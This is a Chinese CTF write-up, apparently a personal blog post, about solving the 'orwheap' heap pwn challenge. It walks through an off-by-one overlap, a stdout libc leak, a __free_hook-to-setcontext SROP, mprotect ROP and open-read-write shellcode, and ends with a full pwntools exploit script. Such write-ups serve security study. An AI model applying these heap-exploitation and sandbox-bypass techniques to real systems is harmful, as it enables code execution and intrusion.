orwheap:

2020-03-17  本文已影响0人  cnitlrt

这道题做了快两天才搞明白,下面记录一下该题的历程:
思路:

没有show因此使用stdout泄露地址,用setcontext来进行srop攻击,使用mprotect函数来改写权限,最后注入shellcode获取flag,因为开了沙箱因此进行orw攻击,下面进行具体实践一下

放进ida分析一下

mian:

main.png

这个函数开启了沙箱我们用seccomp-tools来看看禁用了什么:

cnitlrt@cnitlrt-ubuntu16:~/buuctf$ seccomp-tools dump ./orwheap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
 0004: 0x15 0x06 0x00 0x0000003b  if (A == execve) goto 0011
 0005: 0x15 0x00 0x04 0x00000001  if (A != write) goto 0010
 0006: 0x20 0x00 0x00 0x00000024  A = count >> 32 # write(fd, buf, count)
 0007: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0010
 0008: 0x20 0x00 0x00 0x00000020  A = count # write(fd, buf, count)
 0009: 0x15 0x01 0x00 0x00000010  if (A == 0x10) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

可以看到禁用了execve,因此one_gadget和system全部失效因此无法直接getshell只能通过orw来进行攻击

add:

add.png

限制了数量和大小

off by one:

vun.png

这里有一个off by one 漏洞
edit和free就没什么看的了
好了分析到此结束,接下来就要知道怎么得到flag:

First step:

add(0x68,"\n")#0
add(0x78,"\n")#1
add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
add(0x68,(p64(0)+p64(0x21))*6+"\n")#3

首先我们申请四个块,并在里面伪造块,用来过后面的free的检查
当前堆布局:

addr                prev                size                 status              fd                bk                
0x555555757000      0x0                 0x70                 Used                None              None
0x555555757070      0x0                 0x80                 Used                None              None
0x5555557570f0      0x0                 0x70                 Used                None              None
0x555555757160      0x0                 0x70                 Used  

second step:

构造overlapchunk:

free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n") #change 1's size
free(1)  #进unsorted bin
free(2)   #进fastbin 用于后面的fastbinattrack
add(0x78,"\n")#1  此时2带有main_arena
free(0)
add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20))  #change 1's size
free(1) #进unsorted 并且2进入smallbin
add(0x98,"\n")#1   此时1可以控制2的fd和bk

bin:

fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x5555557570f0 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x5555557570f0
largebins
empty

Third Step:

劫持stdout

edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
add(0x68,"\n")#2
add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4

这里我关闭了asrl因此可以清楚的知道stdout的地址,但是如果是远程的话需要爆破,有1/16的可能性

$2 = {
  file = {
    _flags = 0xfbad1800, 
    _IO_read_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_end = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_read_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_ptr = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_write_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
    _IO_buf_base = 0x7ffff7dd26a3 <_IO_2_1_stdout_+131> "\n", 
    _IO_buf_end = 0x7ffff7dd26a4 <_IO_2_1_stdout_+132> "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd18e0 <_IO_2_1_stdin_>, 
    _fileno = 0x1, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "\n", 
    _lock = 0x7ffff7dd3780 <_IO_stdfile_1_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd17a0 <_IO_wide_data_1>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

可以看到flags的值已经被我们调低,但是有一点一直没有明白,按常理来说应该会把flags后面的值也覆盖掉但是却没有改变,却成功输出了write_base和write_ptr之间的内容

接下来随便选一个值来获取libc_base就好了
接下来的一步就是我认为最精妙的地方了,通过1来控制2的size,使他再次进入unsortedbin 中,还记得我们开始的时候将chunk3和chunk4填充的那些数据不,这里就是为了过后面的free的检查

edit(1,"b"*0x70+p64(0)+p64(0x91))
free(2)

接下来就是用unsorted bin attrack来在free_hook上方写入数据,然后利用fastbinattrack覆盖free_hook为setcontext来为接下来的srop做铺垫

edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
add(0x88,"\n")
edit(1,"a"*0x70+p64(0)+p64(0x71))
free(2)
edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook1
frame.rdx = 0x2000
frame.rsp = free_hook1
frame.rip = syscall
payload = str(frame)
add(0x68, payload[0x80:0x80+0x60]+"\n")#2
add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5

然后就是在堆块里构造srop:

edit(1,payload[:0x98])
0x555555757070: 0x0000000000000000  0x00000000000000a1
0x555555757080: 0x0000000000000000  0x0000000000000000
0x555555757090: 0x0000000000000000  0x0000000000000000
0x5555557570a0: 0x0000000000000000  0x0000000000000000
0x5555557570b0: 0x0000000000000000  0x0000000000000000
0x5555557570c0: 0x0000000000000000  0x0000000000000000
0x5555557570d0: 0x0000000000000000  0x0000000000000000
0x5555557570e0: 0x0000000000000000  0x0000000000000000
0x5555557570f0: 0x00007ffff7dd3000  0x0000000000000000
0x555555757100: 0x0000000000000000  0x0000000000002000
0x555555757110: 0x0000000000000000  0x0000000000000000
0x555555757120: 0x00007ffff7dd3000  0x00007ffff7ac9375
0x555555757130: 0x0000000000000000  0x0000000000000033
0x555555757140: 0x0000000000000000  0x0000000000000000
0x555555757150: 0x0000000000000000  0x0000000000000000
0x555555757160: 0x0000000000000000  0x0000000000000070

因为free_hook已经被劫持成了setcontext了因此我们free堆块1就相当一系列pop,当pop到rip的时候就会执行syscall,从而调用read(0,free_hook1,0x2000),执行完之后会进行ret,ret相当于pop rip因此会将栈顶的数据pop给ip,我们在栈顶构造rop链调用mprotect函数修改free_hook1的页权限,注入shellcode拿到flag

payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
shellcode = shellcraft.amd64.open('flag')
shellcode += """
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
"""
p.send(flat(payload)+asm(shellcode))

mprotect的系统调用号是10,改写rwx权限是0x7

完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher

binary = 'orwheap'
elf = ELF('orwheap')
libc = elf.libc
context.log_level = 'debug'
DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = ""
  port =  0
  p = remote(host,port)
context.binary = binary
l64 = lambda        :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda        :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b    :p.sendlineafter(str(a),str(b))
sa  = lambda a,b    :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
def add(size,payload):
    p.sendlineafter("Choice: ","1")
    p.sendlineafter("size: ",str(size))
    p.sendafter("content: ",payload)
def edit(index,payload):
    p.sendlineafter("Choice: ","3")
    p.sendlineafter("idx: ",str(index))
    p.sendafter("content: ",payload)
def free(index):
    p.sendlineafter("Choice: ","2")
    p.sendlineafter("idx: ",str(index))
def exp():
    add(0x68,"\n")#0
    add(0x78,"\n")#1
    add(0x68,(p64(0)+p64(0x21))*6+"\n")#2
    add(0x68,(p64(0)+p64(0x21))*6+"\n")#3
    free(0)
    add(0x68,0x60*'a'+p64(0)+p8(0x81+0x70)+"\n")
    free(1)
    free(2)
    add(0x78,"\n")#1
    free(0)
    add(0x68,0x60*'a'+p64(0)+p8(0x81+0x20))
    free(1)
    add(0x98,"\n")#1
    edit(1,p64(0)*15+p64(0x71)+p16(0x2620-0x43))
    add(0x68,"\n")#2
    add(0x68,0x33*'a'+p64(0xfbad1800)+p64(0)*3+"\n")#4
    libc_base = l64()-0x3c5600
    lg("libc_base",libc_base)
    free_hook = libc.symbols["__free_hook"]+libc_base
    lg("free_hook",free_hook)
    free_hook1 = libc.sym["__free_hook"]+libc_base&0xfffffffffffff000
    lg("free_hook1",free_hook1)
    setcontext = libc.sym["setcontext"]+libc_base
    lg("setcontext",setcontext)
    syscall = 0xbc375+libc_base
    lg("syscall",syscall)
    pop_rdi = 0x021102+libc_base
    pop_rsi = 0x00000000000202e8+libc_base
    pop_rdx = libc_base+0x0000000000001b92
    pop_rax = libc_base+0x0000000000033544
    edit(1,"b"*0x70+p64(0)+p64(0x91))
    free(2)
    edit(1,'a'*0x70+p64(0)+p64(0x91)+p64(0)+p64(free_hook-0x20))
    add(0x88,"\n")
    edit(1,"a"*0x70+p64(0)+p64(0x71))
    free(2)
    edit(1,"a"*0x70+p64(0)+p64(0x71)+p64(free_hook-0x13))
    frame = SigreturnFrame()
    frame.rdi = 0
    frame.rsi = free_hook1
    frame.rdx = 0x2000
    frame.rsp = free_hook1
    frame.rip = syscall
    payload = str(frame)
    add(0x68, payload[0x80:0x80+0x60]+"\n")#2
    add(0x68, '\x00'*3 + p64(libc_base + libc.symbols['setcontext'] + 53) + '\n')#5
    edit(1,payload[:0x98])
    free(1)
    payload = [pop_rdi,free_hook1,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,0x0000000000002a71+libc_base]
    shellcode = shellcraft.amd64.open('flag')
    shellcode += """
    mov edi, eax
    mov rsi, rsp
    mov edx, 0x100
    xor eax, eax
    syscall

    mov edx, eax
    mov rsi, rsp
    mov edi, 1
    mov eax, edi
    syscall
    """
    p.send(flat(payload)+asm(shellcode))
    p.interactive()
if __name__ == "__main__":
    exp()

最后效果:

    'flag{1234}'
flag{1234}[*] Got EOF while reading in interactive
$  

参考:

http://blog.eonew.cn/archives/1243
https://blog.csdn.net/u010334666/article/details/103889663

上一篇下一篇

猜你喜欢

热点阅读